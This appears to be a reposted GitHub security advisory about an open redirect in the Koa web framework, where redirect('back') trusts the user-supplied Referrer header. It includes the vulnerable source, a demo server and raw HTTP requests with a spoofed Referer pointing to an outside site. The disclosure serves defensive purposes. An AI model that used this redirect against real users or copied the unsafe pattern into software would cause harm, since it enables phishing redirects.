Koa Open Redirect via Referrer Header (User-Controlled)

链接： https://github.com/advisories/GHSA-jgmv-j7ww-jx2x

仓库 Star： 35585

CVSS 评分： 3.5

参考链接：

描述：

Summary

In the latest version of Koa, the back method used for redirect operations adopts an insecure implementation, which uses the user-controllable referrer header as the redirect target.

Details

on the API document https://www.koajs.net/api/response#responseredirecturl-alt, we can see:

response.redirect(url, [alt])

1
2
3
4
5
6
7
8
Performs a [302] redirect to url.
The string "back" is specially provided for Referrer support, using alt or "/" when Referrer does not exist.

ctx.redirect('back');
ctx.redirect('back', '/index.html');
ctx.redirect('/login');
ctx.redirect('http://google.com');

however, the “back” method is insecure:

1
2
3
4
back (alt) {
  const url = this.ctx.get('Referrer') || alt || '/'
  this.redirect(url)
},

Referrer Header is User-Controlled.

PoC

there is a demo for POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
const Koa = require('koa')
const serve = require('koa-static')
const Router = require('@koa/router')
const path = require('path')

const app = new Koa()
const router = new Router()

// Serve static files from the public directory
app.use(serve(path.join(__dirname, 'public')))

// Define routes
router.get('/test', ctx => {
  ctx.redirect('back', '/index1.html')
})

router.get('/test2', ctx => {
  ctx.redirect('back')
})

router.get('/', ctx => {
  ctx.body = 'Welcome to the home page! Try accessing /test, /test2'
})

app.use(router.routes())
app.use(router.allowedMethods())

const port = 3000
app.listen(port, () => {
  console.log(`Server running at http://localhost:${port}`)
})

Proof Of Concept

1
2
3
4
5
6
7
8
9
10
GET /test HTTP/1.1
Host: 127.0.0.1:3000
Referer: http://www.baidu.com
Connection: close


GET /test2 HTTP/1.1
Host: 127.0.0.1:3000
Referer: http://www.baidu.com
Connection: close

image

image

Impact

https://learn.snyk.io/lesson/open-redirect/

安全公告
#Github Advisory
Koa Open Redirect via Referrer Header (User-Controlled)
http://example.com/2025/07/29/github_2406450342/
作者
lianccc
发布于
2025年7月29日
许可协议